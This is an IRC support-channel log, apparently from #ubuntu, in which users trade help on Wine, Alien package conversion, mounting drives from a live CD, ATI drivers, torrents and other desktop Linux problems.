[08:46] <kinjo> i am not able to see the text on the buttons...
[08:46] <ciscosurfer> kinjo: no need to compile Wine from source...just download the .deb for everything
[08:46] <kinjo> no winetools...
[08:47] <Dionysos22> anyone have a synaptics touchpad that can tell me how to get it set up?
[08:47] <ciscosurfer> kinjo: what's the link where you found winetools
[08:47] <kinjo> 1 sec ill give ..
[08:47] <Maric> that one is beyond me atm kinjo srry
[08:47] <kinjo> http://download.formationos.net/winetools/winetools-0.9.4.tar.gz
[08:47] <Saturisation> !network
[08:47] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[08:48] <kinjo> ciscosurfer, http://download.formationos.net/winetools/winetools-0.9.4.tar.gz
[08:49] <ciscosurfer> Dionysos22: try this >> http://ubuntuforums.org/showthread.php?t=314979
[08:49] <noobcook> ciscosurfer: im gona reboot i wonder if itl work
[08:49] <ciscosurfer> noobcook: hope for the best!!
[08:49] <asdf_> hai
[08:50] <kinjo> ciscosurfer, hey what am i missing? some fonts???
[08:51] <japr> !dualcore
[08:51] <ubotu> Sorry, I don't know anything about dualcore - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:51] <riotkittie> arrrgh.
[08:51] <nexact> hello all, id like to know how I can reload inetd after I've added tftpd... ? thanks
[08:51] <dromer> hi all, I'd like to try Beryl on my dapper install, but the wiki of Beryl says it's unsupported. Can I get some pointers on haw to compile/install ?
[08:52] <ciscosurfer> kinjo: looks that way
[08:52] <ciscosurfer> i'm assuming you used Alien to convert it, no?
[08:52] <ciscosurfer> wait
[08:52] <ciscosurfer> hold
[08:53] <japr> !doc
[08:53] <ubotu> documentation is to be found at http://help.ubuntu.com and http://wiki.ubuntu.com - General linux documentation: http://www.tldp.org - http://rute.2038bug.com
[08:53] <ciscosurfer> kinjo: go here, download the version you want, use Alien to covert it and you should be good
[08:53] <mataks_-> need help.. when i try to do "sudo apt-get update" i got this error.. "E: Could not get lock /var/lib/apt/lists/lock - open (11 Resource temporarily unavailable)" why is that? help pls.
[08:53] <ciscosurfer> http://www.von-thadden.de/Joachim/WineTools/
[08:53] <ciscosurfer> kinjo: http://www.von-thadden.de/Joachim/WineTools/
[08:54] <noobcook> ciscosurfer: the good news is it didn't stuff up, the bad news is it didn't work
[08:54] <ciscosurfer> mataks_-: you've got synaptic or another window with apt open already, close other windows and try again
[08:54] <kinjo> ciscosurfer, is there a deb file for it?
[08:54] <mataks_-> ciscosurfer, no i don't have
[08:54] <ciscosurfer> kinjo: the app Alien will convert .rpm to .deb
[08:54] <kinjo> ciscosurfer, i have installed msttcorefonts
[08:55] <ciscosurfer> noobcook: try this line to reconfigure xorg.conf >> sudo dpkg-reconfigure -phigh xserver-xorg
[08:55] <japr> I've already read several guides and how-tos, the kind that makes things work by inserting commands, etc, but I would like to get to know the inside of linux. Is there any online doc / book that you'd recommend?
[08:55] <dromer> !beryl
[08:55] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl
[08:55] <ciscosurfer> kinjo: try my method with converting the .rpm and then report back
[08:56] <kinjo> ciscosurfer, hey i am complete newbie....
[08:56] <Maric> jaspr I am using linux in a nutshell by oreily - it is really handy
[08:56] <corevette> ok i need help
[08:56] <ciscosurfer> mataks_-: I think it's time to download a fresh ISO of Dapper of Edgy :o)
[08:56] <kinjo> ciscosurfer, how do i convert rpm to deb?
[08:56] <noobcook> ciscosurfer: done
[08:56] <Maric> I have seen it availiable in torrents (not leagal though)
[08:56] <corevette> my ubuntu system won't let me start...so i put in the live cd....how do i access my files now
[08:56] <ciscosurfer> kinjo: hold pls
[08:56] <noobcook> !ati
[08:56] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[08:56] <kinjo> ciscosurfer, okidoki...
[08:56] <eifzon> Ati + linux = notrue
[08:56] <Maric> also for the massochistic there is the linux from scratch project
[08:56] <ciscosurfer> kinjo: https://help.ubuntu.com/community/RPM/AlienHowto
[08:57] <japr> Maric ;)
[08:57] <ciscosurfer> noobcook: no love huh
[08:57] <noobcook> ciscosurfer: dont know why i cant just install proper video card drivers on ubuntu lol
[08:57] <eifzon> noobcook, its kinda hard to install ATI for linux
[08:57] <noobcook> yeh =(
[08:57] <noobcook> ive been trying for 2 days
[08:57] <eifzon> <3 nVidia
[08:58] <Maric> additionally at:help.ubunu.com/community, and gimme a sec
[08:58] <ciscosurfer> noobcook: i've heard they can be a pain as well
[08:58] <eifzon> noobcook, i know its possible, my friend is using debian and got ati :)
[08:58] <noobcook> i even tryed compiling it to the kernal with no success
[08:58] <tweek> bought a cheap nvidia card this week, worked wonderfully
[08:58] <noobcook> eifzon can u tell him to pm me lol
[08:58] <corevette> how do i access my hard drive from the live cd?
[08:58] <eifzon> haha :)
[08:58] <eifzon> w8..
[08:58] <Maric> also try tldp.org
[08:58] <ciscosurfer> 10 points for nVidia
[08:58] <tweek> 5500 fx is a great card btw, 50 dollars, 256 of ram on it.
[08:58] <ciscosurfer> !
[08:58] <ciscosurfer> i use it too
[08:58] <fokuslee> well u can get a 6600gt for that price
[08:58] <ciscosurfer> Maric: good suggestion!
[08:58] <tweek> agp vs pcie
[08:59] <Maric> hey I use the same card as well
[08:59] <tweek> i could get a way better pcie card for 50, but its getting hard to get an agp for that :P
[08:59] <Maric> that last site is a general linux documentation project
[08:59] <fokuslee> tweek sooo true
[08:59] <corevette> please i really need help...how do i access my hard drive from the edgy live cd?
[08:59] <tweek> my dad got a WAY better nvidia card fro the same price on a pci e board for the same order
[08:59] <fokuslee> corevette which file system u want to acess?
[09:00] <corevette> well my ubuntu is broken
[09:00] <Maric> that help you jaspr
[09:00] <corevette> it wont let me start fokuslee
[09:00] <Maric> ?
[09:00] <tweek> but the 5500 fx is quality thats for sure. it works for XGL i dont care about games at all so its a nice card for not much cash and thats it
[09:00] <mehdi> hello every body
[09:00] <corevette> fokuslee i'm on the live cd now and i want to save my files...or is there a way to safe restore so i can fix the boot of ubuntu
[09:01] <ciscosurfer> corevette: you need to know which drive you want to mount....do a      sudo fdisk -l   (that's a lowercase L) to check
[09:01] <phire> I've got a problem with samba in edgy. browsing of the windows network is temperamental. I've installed the full samba package.
[09:01] <ciscosurfer> corevette: then create a directory to mount it
[09:01] <Maric> jaspr that help?
[09:01] <fokuslee> corevette i believe u can fix grub from the live cd
[09:01] <ciscosurfer> corevette: sudo mkdir otherOS
[09:01] <corevette> its not grub fokuslee
[09:01] <ciscosurfer> corevette: then
[09:01] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[09:02] <fokuslee> corevette u want to fix ur mbr rite?
[09:02] <corevette> ciscosurfer one of the drives claims to have 160 gb....even though i just have to 80 gb
[09:02] <corevette> for that drive yes fokuslee
[09:02] <ciscosurfer> corevette: sudo mount /dev/<<whatever drive you want here>> (one space here) /mnt/otherOS
[09:02] <ciscosurfer> corevette: that mkdir command should've been >> sudo mkdir /mnt/otherOS
[09:03] <ciscosurfer> corevette: huh?
[09:03] <corevette> ciscosurfer: what do i put for otherOS
[09:03] <riotkittie> stupid question time - if i can clone my laptop's screen on a crt, it stands to reason i should be able to do it in linux, eh? [i am going through the forums and reading and whatnot but its 3 am and my brain has clocked out for the night] 
[09:04] <riotkittie> on a crt in win*
[09:04] <fokuslee> corevette i see u need to use gparted livecd then something wrong in the boot sector
[09:04] <ciscosurfer> corevette: can you post the output of the    sudo fdisk -l    to the pastebin??
[09:04] <fokuslee> corevette:  i never seen dat before
[09:04] <ciscosurfer> !paste
[09:04] <ubotu> paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)
[09:04] <corevette> sure ciscosurfer
[09:05] <zoexi1> riotkittie: it is usually a question of correct driver for your graphics card, then setup in xorg
[09:05] <noobcook> wow #debian the most unhelpfull people ive ever spoken to in my entire life
[09:05] <ciscosurfer> corevette: then tell me the link to look at.....and which drive you want mounted....a windows drive, etc....
[09:05] <riotkittie> zoexi1: ah :)
[09:05] <corevette> ciscosurfer: http://paste.ubuntu-nl.org/1278/
[09:06] <Maric> what happened there noob?
[09:06] <noobcook> has anyone here successfully got ati drivers working in ubuntu?
[09:06] <corevette> ciscosurfer: i want the first one mounted....it is an ubuntu drive
[09:06] <Maric> noob I did once
[09:06] <noobcook> i think debian users dont like ubuntu users
[09:06] <noobcook> maric how!
[09:06] <mardi_soir> hello
[09:06] <Maric> I used easyubuntu
[09:06] <noobcook> hmm whats that
[09:06] <mardi_soir> i would like to some help me to solve a problem about a ralink wiki pci card
[09:07] <mardi_soir> it is xubuntu edgy
[09:07] <Maric> it is a script that makes life easy I'll get the url hang on a sec
[09:07] <ciscosurfer> corevette: ah...okay....................do this................   sudo mkdir /mnt/otherOS
[09:07] <ciscosurfer> corevette: then do this >> sudo mount /dev/hdb1 /mnt/otherOS
[09:07] <noobcook> thanks maric
[09:07] <corevette> okay
[09:07] <corevette> now what ciscosurfer
[09:07] <ciscosurfer> corevette: then do this >> sudo mount /dev/hdb1 /mnt/otherOS
[09:07] <Maric> first link: easyubuntu.freecontrib.org
[09:08] <corevette> sorry for spamming: mount: /dev/hdb1 already mounted or /mnt/otherOS busy
[09:08] <corevette> mount: according to mtab, /dev/hdb1 is already mounted on /mnt/otherOS
[09:08] <Maric> a different but similar tool: www.getautomatix.com
[09:08] <noobcook> ah automatix
[09:08] <corevette> ciscosurfer look at above post
[09:08] <noobcook> thats unsupported
[09:08] <ciscosurfer> corevette: do this >> sudo umount /dev/hdb1
[09:08] <Maric> noobcook: ? do tel
[09:08] <Maric> er tell
[09:09] <ciscosurfer> corevette: then this >> sudo mount /dev/hdb1 /mnt/otherOS
[09:09] <noobcook> maric aparently automatix can screw up your whole distro so ubuntu doesnt support it
[09:09] <noobcook> !automatix
[09:09] <ubotu> automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[09:09] <corevette> okay now what ciscosurfer
[09:09] <ciscosurfer> corevette: then this >> sudo mount /dev/hdb1 /mnt/otherOS
[09:09] <Maric> thats odd I use it and have no issues
[09:09] <noobcook> alriight i may aswell try it
[09:09] <noobcook> im at wits end
[09:09] <Maric> try easy ubuntu first
[09:09] <ciscosurfer> noobcook: don't listen to our little 'ubotu' friend about Automatox....Automatix rocks. Period.
[09:09] <corevette> thats the same thing ciscosurfer
[09:09] <Vernaldo_naya> how do I allow blank passwords?
[09:10] <noobcook> really cisosurfer ok =D
[09:10] <cowbud> Vernaldo_naya: you don't
[09:10] <noobcook> i belive u
[09:10] <cowbud> period
[09:10] <Maric> noobcook: try this forst
[09:10] <Maric> er first
[09:10] <corevette> ciscosurfer...i went to /mnt/otherOS and it says i don't have permission to access it...how do i?
[09:10] <noobcook> are u drunk maric =p =p
[09:11] <ciscosurfer> corevette: short of listing a whole bunch of commands, your best bet is to reboot and then try these procedures again fresh...that will clear mtab and any mounted drives....unless...you can change directories over to /mnt/otherOS and it's all there....
[09:11] <Maric> help.ubuntu.com/community/BinaryDriverHowto/ATI
[09:11] <birne> hallo
[09:11] <birne> hi
[09:11] <fokuslee> corevette, looks like to me u have 2 physical harddisks
[09:11] <fokuslee> sda and hda
[09:11] <noobcook> yeh i tried that one Maric no luck
[09:11] <fokuslee> one serial ata one pata
[09:11] <Vernaldo_naya> cowbud, the machine is locked down every other way. this is for a granny machine
[09:11] <noobcook> ciscosurfer: is vmware in the debs
[09:11] <corevette> yes fokuslee...how do you fix the mbr?
[09:11] <audell> Hi! I want help with torrent-downloading in Edgy PPC
[09:11] <ciscosurfer> noobcook: don't recall
[09:11] <Maric> wow, that is a rough one then noob
[09:11] <fokuslee> corevette are u saying the sata is 80 gig and its showing up as 16)?
[09:11] <fokuslee> 160?
[09:12] <ciscosurfer> noobcook: vmwareplayer is
[09:12] <ciscosurfer> noobcook: vmware-player is
[09:12] <audell> Maric: I don't think you know about my problem yet ;)
[09:12] <ciscosurfer> sorry
[09:12] <noobcook> yeh i wana get vmware so i can emulate windows
[09:12] <corevette> fokuslee i figured out that was my usb external drive (so overall i have 2 x 80gb hard drives...and one 160 gb external usb)
[09:12] <kinjo> ciscosurfer, hey i still am facing hte same problem....
[09:12] <birne> ich suche eine mglichkeit dateien mit einer bestimmten gre zu lschen  ich habe es mit         find /test -s 10k | rm ausprobiert
[09:12] <Maric> what card is it noob?
[09:12] <ciscosurfer> kinjo: hmm
[09:12] <kinjo> ciscosurfer, i converted the rpm...
[09:12] <LucianSolaris> woowoooo stoned city!
[09:12] <ciscosurfer> kinjo: let me think about it
[09:13] <ciscosurfer> corevette: reboot and start fresh...
[09:13] <birne> wie muss ich die syntax richtig schreiben
[09:13] <birne> ?
[09:13] <corevette> ciscosurfer...as in from the live cd again?
[09:13] <ciscosurfer> corevette: you're on the liveCD?
[09:13] <Maric> noobcook: which card is it?
[09:13] <corevette> ciscosurfer yes
[09:13] <ciscosurfer> corevette: haha
[09:13] <kinjo> ciscosurfer, hey while converting the rps do i have to add -script or someting...
[09:13] <ciscosurfer> corevette: yes
[09:13] <corevette> ciscosurver...that might solve a few things
[09:13] <noobcook> Maric: ATI radeon 9550
[09:13] <kinjo> ciscosurfer, or is plain alien -d
[09:13] <ciscosurfer> kinjo: sometimes adding that switch is a good idea
[09:14] <fokuslee> corevette ok so nothing is wrong rite??  i mean the size is not falsely reported rite? but it looks to me from ur fdisk -l or usb is not on
[09:14] <audell> Where can I get help with my torrent-problem?
[09:14] <corevette> nope fokuslee
[09:14] <kinjo> ciscosurfer, retry??
[09:14] <ciscosurfer> kinjo: alien by default with convert to a .deb  .....the -d switch isn't necessary
[09:14] <Maric> noob I assume you tried the ATI installer?
[09:14] <noobcook> yeh
[09:14] <noobcook> that gave me no joy either
[09:14] <kinjo> ah k..
[09:14] <fokuslee> corevette ok so u are trying to mount the 160 gig serial ata rite?
[09:14] <noobcook> even wen i went Apps> radeon it wouldnt open the gui
[09:14] <Maric> noobcook: I think I must have been very lucky then, cause that is all I did to get it to work
[09:15] <corevette> no fokuslee...i'm trying to mount the hdb (pastebin: http://paste.ubuntu-nl.org/1278/)
[09:15] <ciscosurfer> ADIOS all....gotta sleep now!
[09:15] <angela_8008135> hi all! do you guys have a font editor?
[09:15] <corevette> well the first one fokuslee
[09:15] <DaneDog> hi everyone
[09:15] <birne> i like to delete files wich meet a speciifc size, but i dont know wich command i have to use. i tried       rm | fint /test -size 10k
[09:15] <corevette> any idea ciscosurfer?
[09:15] <noobcook> Maric:  hopefully the automatix will give me more joy
[09:15] <birne> i like to delete files wich meet a speciifc size, but i dont know wich command i have to use. i tried       rm | find /test -size 10k
[09:15] <fokuslee> corevette hdb bein the windows parititoN?
[09:15] <Maric> noobcook: I hope so
[09:15] <dromer> anybody hove some pointers installing beryl on dapper? I don't have the balls to try it myself :$
[09:15] <corevette> no the linux partition fokuslee
[09:15] <ciscosurfer> corevette: I suggest you try rebooting and trying my steps again
[09:15] <ciscosurfer> corevette: I suggest you try rebooting and trying my steps again
[09:16] <corevette> okay fine ciscosurfer.....except its not even detecting the other hard drive
[09:16] <corevette> but i'll try restarting
[09:16] <fokuslee> corvette HPFS/NTFS
[09:16] <DaneDog> corevette i checked that
[09:16] <DaneDog> did you make that directory?
[09:16] <fokuslee> unless u installed linux with ntfs which is highly unlikely that is the window partition
[09:17] <corevette> yes its not detecting my linux drive
[09:17] <fokuslee> ohh ok
[09:17] <audell> Please, Can anybody help me with my torrent problem on edgy PPC?
[09:17] <angela_8008135> you guys have a nice font editor?
[09:17] <corevette> oh damn stupid me...i forgot to plug it in
[09:17] <ciscosurfer> corevette: you want to access your Windows drive, right?
[09:17] <noobcook> audell:  just tell ur problem
[09:17] <corevette> okay hold on guys....let me restart
[09:18] <noobcook> !ntfs-3g > corevette
[09:18] <noobcook> aw he dc
[09:18] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[09:18] <fokuslee> damn corevette i was gonna say somehting
[09:18] <ciscosurfer> noobcook: i got thoroughly confused by all he wanted to do....
[09:18] <Stormx2> Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?
[09:18] <audell> My problem is that I don't seem to get a proper connection to the tracker. It seems I'm pretty much unable to upload. I get the typical problem: It goes somewhat fast at first, but after a couple of minutes it just fades out and dies.
[09:18] <DaneDog> hey anyone have any ideas why i have a INSANLY low FPS rate with a Decent system?
[09:18] <noobcook> ciscosurfer: i just read what u said and tried 2 beat u 2 it
[09:19] <ciscosurfer> haha
[09:19] <ciscosurfer> :O)
[09:19] <audell> DaneDog: You're probably not using the right video-driver
[09:19] <birne> this might be a problem with ur dsl router @ audell
[09:19] <noobcook> wonder if automatix is gona work
[09:19] <ciscosurfer> later on!!!
[09:19] <DaneDog> I can't even run lxdoom
[09:19] <Maric> is there anyway I can get rid of chronic PEBKAC issues?
[09:19] <birne> too many connections i think
[09:19] <DaneDog> i have that horrible unichrome integrated video
[09:19] <birne> try to upgrade the firmware
[09:20] <DaneDog> that's the problem isn't it?
[09:20] <audell> birne: I have forwarded the accurate ports, and I also I have just this router with a lot of other computers before
[09:20] <audell> used*
[09:20] <DaneDog> Is anyone familiar with openchrome?
[09:21] <Maric> not I what is it?
[09:21] <birne> usually a normal lanrouter takes about 250 connections
[09:21] <angela_8008135> my husband uses openchrome
[09:21] <noobcook> ciscosurfer: where do i get  Postgres (libpq) ...
[09:21] <Stormx2> Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?
[09:21] <birne> depends on the manufacture an the firmware
[09:22] <DaneDog> I installed that, it's a driver for the Unichrome Int. Vid. Card, I get horrible FPS rates and I was told on the OPENCHROME board it's not the driver it's ubuntu and to use gentoo... how true is this?
[09:22] <noobcook> does anyone know where to get postgres (libpg) i cant get it on apt get
[09:22] <Maric> noob do you have the universe and multivers repos enabled?
[09:23] <birne> u said u never had problems of this kind before
[09:23] <fokuslee> Maric omg don't call him a noob
[09:23] <fokuslee> geeee
[09:23] <birne> ???
[09:23] <noobcook> DaneDog: if it helps im having trouble installing drivers on ubuntu for my gfx but im ati, have you tried Automatix, im going to try that now although i cannot vouch for its stability its my last option
[09:23] <fokuslee> Oh wait his name is noob im sorri
[09:23] <Maric> fok I'm not calling names
[09:23] <Maric> I;m just a lazy typist
[09:23] <fokuslee> Maric:  yeah i just realized sorri
[09:23] <noobcook> maric yeh i do =p
[09:24] <audel1> Sorry, something crazy happen. Anyway birne: what else can be the problem?
[09:24] <DaneDog> yea automatix is cool but no support for me... I've been building these drivers from openchrome and Unichrome.sf from source
[09:24] <Maric> noobcook: gimme sec
[09:24] <noobcook> k
[09:24] <birne> u said u never had problems of this kind before
[09:24] <birne> ???
[09:24] <audel1> exactly
[09:24] <Maric> noob are you on edgy?
[09:24] <noobcook> yeh
[09:24] <noobcook> 6.10
[09:24] <Maric> k
[09:24] <birne> the same like me
[09:25] <corevette> ok i'm back
[09:25] <DaneDog> i'm kinda at a dead end...
[09:25] <fokuslee> corevette i want u to do this
[09:25] <corevette> whoever i was talking to about mounting hard drives..i plugged in my linux hard drive
[09:25] <noobcook> corevette: where do i get SAP for free?
[09:25] <prologic> What's aht latest version of ubuntu ?
[09:25] <corevette> SAP?
[09:25] <eifzon> 6.10 prologic
[09:25] <audel1> birne: Are there any known problems with torrents and the PPC-version of ubuntu
[09:25] <fokuslee> corevette:  fdisk -l | grep linux
[09:25] <klaxian> anyone using compiz?
[09:25] <noobcook> corevette:  Checking for SAP/R3 (librfc/saprfc.h) ...
[09:25] <noobcook>                                       ... NOT found, module sapr3 disabled
[09:25] <noobcook> Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
[09:25] <birne> sorry i dont know
[09:26] <prologic> eifzon, how come I don't see any 2.6 kernels in the trees ?
[09:26] <DaneDog> i don't have a clue why i'm pulling 400fps with a small ap like GLXGEARS with 1gb ram and pushing 3.05ghz out of the CPU
[09:26] <birne> im using 32 & 64 bit
[09:26] <klaxian> i'm having a slight problem with compiz...can anyone help?
[09:26] <corevette> now what fokuslee
[09:26] <eifzon> dont know
[09:26] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[09:26] <audel1> alright
[09:26] <noobcook> gandalfcome: are you using default drivers?
[09:26] <Maric> libpq3 and libpq4 are both in the unuverse repo try sudo apt-get clear
[09:26] <Maric> and then sudo apt-get update
[09:26] <noobcook> ok
[09:27] <Maric> then sudo apt-get install libpq3
[09:27] <angela_8008135> how can I tell if my husband is looking at porn?
[09:27] <fokuslee> corevette:  does ur linux drive show up?
[09:27] <fokuslee> corevette:  fdisk -l | grep Linux
[09:27] <corevette> nothing shows up fokuslee
[09:27] <audel1> Is there anybody else that can help me?
[09:27] <fokuslee> sorri i forogt the capital
[09:27] <gandalfcome> noobcook: i have been posting this problem for 3 days now every 3 hours and your the first to answer:D no im using fglrx
[09:27] <corevette> no fokuslee
[09:27] <fokuslee> corevette nothing shows uP?
[09:28] <corevette> no fokuslee
[09:28] <Stormx2> Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?
[09:28] <corevette> whats the command for looking at all the drives fokuslee
[09:28] <klaxian> can anyone help with compiz?  it's working great except some specific windows don't work right...for example, gnome-terminal has no menus and doesn't respond to typing
[09:28] <fokuslee> corevette ur drive is probably dead then
[09:28] <noobcook> gandalfcome: ive got bad memory =p ive proabbly already told you that i think ubuntu has ati support issues
[09:28] <Maric> audel1: mostly by looking at the cache in the browser, after that you might try using the parenting tools availiable on the web
[09:28] <fokuslee> fdisk look at all of them even umounted ones
[09:28] <noobcook> sudo fdisk -l
[09:28] <noobcook> what fs is it corevette
[09:28] <fokuslee> corevette so i assume ur drive is dead
[09:28] <gandalfcome> noobcook: i googled the problem some had the same problem but it seems that no one gave a real solution. I don't know if it works with the opensource radeon drivers
[09:29] <fokuslee> corevette:  u can also try df -l
[09:29] <noobcook> gandalfcome: yeh i did a lot of researching for 2 days so far i cant get decent fps off my radeon
[09:29] <corevette> noobcook....i don't know
[09:29] <Stormx2> *sigh* please, someone? I have to go in 5 minutes...
[09:29] <fokuslee> corevette:  better df -t ext3
[09:29] <gandalfcome> noobcook: don't you think that is the same with all distros
[09:29] <corevette> what was thecommand we had before....that i used in the pastebin
[09:29] <juicyfish> !mud
[09:29] <juicyfish> :(
[09:29] <ubotu> Sorry, I don't know anything about mud - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:29] <audel1> Stormx2: what was your problem?
[09:29] <Stormx2> Serpentine reports that there is not enough space in the cache directory. I've tried rebooting, what now?
[09:29] <gandalfcome> noobcook: stupid question but fglrxinfo gives you?
[09:29] <juicyfish> Im looking for a good MUD client for Ubuntu 6.06
[09:29] <Maric> audel1 but mostly try to understand that we try to respect privacy and access to information (even porn) here
[09:29] <juicyfish> Any ideas from anyone?
[09:30] <noobcook> gandalfcome: on mandrake and fedora my radeon pwned i hear gentoo has good support tho
[09:30] <klaxian> juicyfish: i think there's gnome-mud
[09:30] <juicyfish> Ooh.
[09:30] <noobcook> gandalfcome: OpenGL vendor string: ATI Technologies Inc.
[09:30] <Jowi> juicyfish, gnome-mud
[09:30] <noobcook> OpenGL renderer string: RADEON 9550 Generic
[09:30] <noobcook> OpenGL version string: 2.0.6011 (8.28.8)
[09:30] <juicyfish> Thanks. I didnt want to use terminal. :P
[09:30] <fokuslee> noobcook:  gentoo is h4x0r
[09:30] <audel1> Maric: what?
[09:30] <noobcook> thats interesting...
[09:30] <noobcook> my driver says ati
[09:30] <noobcook> lol
[09:30] <noobcook> before it said DRI
[09:30] <noobcook> hmm
[09:30] <noobcook>  </endspam>
[09:31] <Angela_8008135`> had to change IRC
[09:31] <gandalfcome> noobcook: so the drivers are installed
[09:31] <corevette> give me the link to my own pastebin fokuslee
[09:31] <fokuslee> corevette:  u used fdisk -l
[09:31] <gandalfcome> noobcook: in my case I just want dual screen, I dont care that much about 3d accell
[09:31] <Angela_8008135`> anyone know of a font editor in linux? TIA
[09:31] <fokuslee> corevette:  and yes dat command will show all the drives/partitiosn
[09:31] <Maric> Audel1 please understand, marital issues asside, many in the Linux community are biased towards the freedom of information and the freedom of computer use
[09:31] <noobcook> gandalfcome: my screen still has the appearance like a crappy fluresant light
[09:31] <fokuslee> even if they are not mounted
[09:31] <fokuslee> so i said ur drive is probably dead
[09:31] <fokuslee> corevette:  and then i asked u to db check with df -t ext3
[09:31] <gandalfcome> doesnt sound too good;-)
[09:31] <corevette> what do you mean the drive is dead fokuslee?
[09:32] <Stormx2> Uhg. Nevermind everyone. Too late now. Cya.
[09:32] <fokuslee> means ur drive is borken fried destroyed
[09:32] <audel1> Maric: I know that, but I can't understand why you are telling me that? What do you mean?
[09:32] <corevette> fokuslee: ubuntu@ubuntu:~$ df -t ext3
[09:32] <corevette> Filesystem           1K-blocks      Used Available Use% Mounted on
[09:32] <gandalfcome> noobcook:  doesnt sound too good;-)
[09:32] <noobcook> fokuslee: solaris 10 is the h4x0r u need to be like elite coder just to install
[09:32] <noobcook> gandalfcome: i guess its not that bad ubt er its like when i had windows and i had an older driver on it looked like this
[09:32] <Maric> audel1 aiding others to spy on/limit others use of their computer is antithetical to our core philosophy, freedom accepts no limits and information wants to be free
[09:33] <fokuslee> noobcook:  umhhh im not even touching gentoo with a 10 foot stick u think i can be leet like dat im a linux newb lol : )
[09:33] <corevette> fokuslee...the installer detects the hard rdive
[09:33] <corevette> but really fokuslee...i need the link back to my pastebin
[09:33] <Maric> noob go linux from scratch before you go gentoo
[09:33] <audel1> Maric: Who's trying to limit someone elses use on computers?
[09:33] <gandalfcome> noobcook: ati driver support is very bad in my opinion. I installed ubuntu on my fathers server and he uses an nvidia card. installed the nv drivers and everything worked
[09:34] <noobcook> gandalfcome: ive heard this lots before
[09:34] <fokuslee> http://paste.ubuntu-nl.org/1278/
[09:34] <fokuslee> http://paste.ubuntu-nl.org/1278/
[09:34] <fokuslee> http://paste.ubuntu-nl.org/1278/
[09:34] <Maric> audel1 was not your question as to how one could findout about your husbands activities?
[09:34] <noobcook> gandalfcome: do you happen to kno the command to change options for ATI?
[09:34] <gandalfcome> noobcook: aticonfig
[09:34] <corevette> i got it foduslee...i had to have a sudo
[09:34] <audel1> Maric: No It wasn't
[09:34] <gandalfcome> noobcook: that basically writes to your xorg.conf
[09:35] <corevette> fokduslee: http://paste.ubuntu-nl.org/1280/
[09:35] <fokuslee> corevette:  so when u fdisk -l | grep Linux something show up rite?
[09:35] <Maric> audel1 I think I must have mis read you r ? then please restat it
[09:35] <audel1> Please Maric help me instead!
[09:35] <noobcook> gandalfcome: ta
[09:35] <corevette> fokuslee...i had to have a sudo in front of it
[09:35] <Maric> er restate ? then please
[09:35] <fokuslee> corevette yeah sudo give u root priveledge
[09:36] <corevette> i didn't really think ....sorry fokuslee
[09:36] <fokuslee> corevette:  just sudo -i
[09:36] <fokuslee> dat way u don't have to type sudo all the time
[09:36] <noobcook> gandalfcome:  is there a gui for aticonfig?
[09:36] <audel1> I have a problem with Torrents. It seems the problem is about uploading, though I'm not completely sure. I can download for 20 kb/s the first 3 minutes or so, but then it just fades out and dies
[09:37] <Maric> audel! that is a capping issue mostlikely
[09:37] <corevette> do you have your ports open audel1?
[09:37] <fokuslee> audeli do u have firestarter or wutever thats calleD?
[09:37] <noobcook> gandalfcome: this maybe might help you  Dual head   :    aticonfig --initial=dual-head --screen-layout=above
[09:37] <noobcook>                         This command will generate a dual head configuration
[09:37] <noobcook>                         file with the second screen located above the first
[09:37] <noobcook>                         screen.
[09:37] <corevette> what client are you using audel1?
[09:37] <gnuyoga> hi folks. Am trying to install ubuntu on a Intel 965 board with core 2 duo .... since the installation failed i did a google and figured out that we need 2.6.18 kernel to make it working...... is there a way update kernel in edgy installer cd to the latest kernel 2.6.18 ?
[09:37] <audel1> maric: What can I do about it? And yes, all the required ports are open
[09:37] <corevette> fokuslee: http://paste.ubuntu-nl.org/1280/
[09:37] <gandalfcome> noobcook: is there are gui for any advanced options in linux;-) no sadly not, but its pretty simple. I did all this before with aticonfig, i also played around with my xorg.conf but nothing seems to work
[09:38] <corevette> sorry i sent that earlier...but spelt your name wrong fokuslee
[09:38] <Maric> Audell what port is your torrent client set to?
[09:38] <noobcook> mm
[09:38] <daftman> anyone having problem with gconf?
[09:38] <Maric> and what client is it
[09:38] <audel1> 53152
[09:38] <audel1> I have tried both Azureus and BitTornado
[09:38] <kvossen> apt-get pukes when I want to remove a package, so I'm stuck (see: http://paste.ubuntu-nl.org/1281/). Anything I can do?
[09:38] <Maric> do you have Upnp setup on your router
[09:38] <audel1> yup
[09:39] <Jowi> gnuyoga, linux-image-686 is not enough? (or is core 2 64 bit perhaps...?)
[09:39] <DaneDog> Is gentoo that bad?
[09:39] <riotkittie> ok i give up on cloning my screen. /weep/
[09:39] <Maric> hang on a sec
[09:39] <audel1> Maric: alright!
[09:39] <corevette> you still there fokuslee?
[09:40] <daftman> DaneDog: what do you mean?
[09:40] <noobcook> gandalfcome: i think the crappy display is due to my refresh rate!
[09:40] <snail> kvossen: "apt-get install --reinstall <packagename>" first
[09:40] <fokuslee> corevette:  yeah i am
[09:40] <fokuslee> corevette:  i just read ur thing
[09:40] <fokuslee> ok so ignore the extended parition thats there b/c or swap is on a logical partition
[09:40] <Maric> have you checked to see if you have a nat issue?
[09:40] <audel1> Yeah sure, all the required ports are open
[09:40] <DaneDog> i dunno i was told gentoo will handle my video card better and people here don't want to get near it?
[09:41] <audel1> Maric: btw, how do you mean checked?
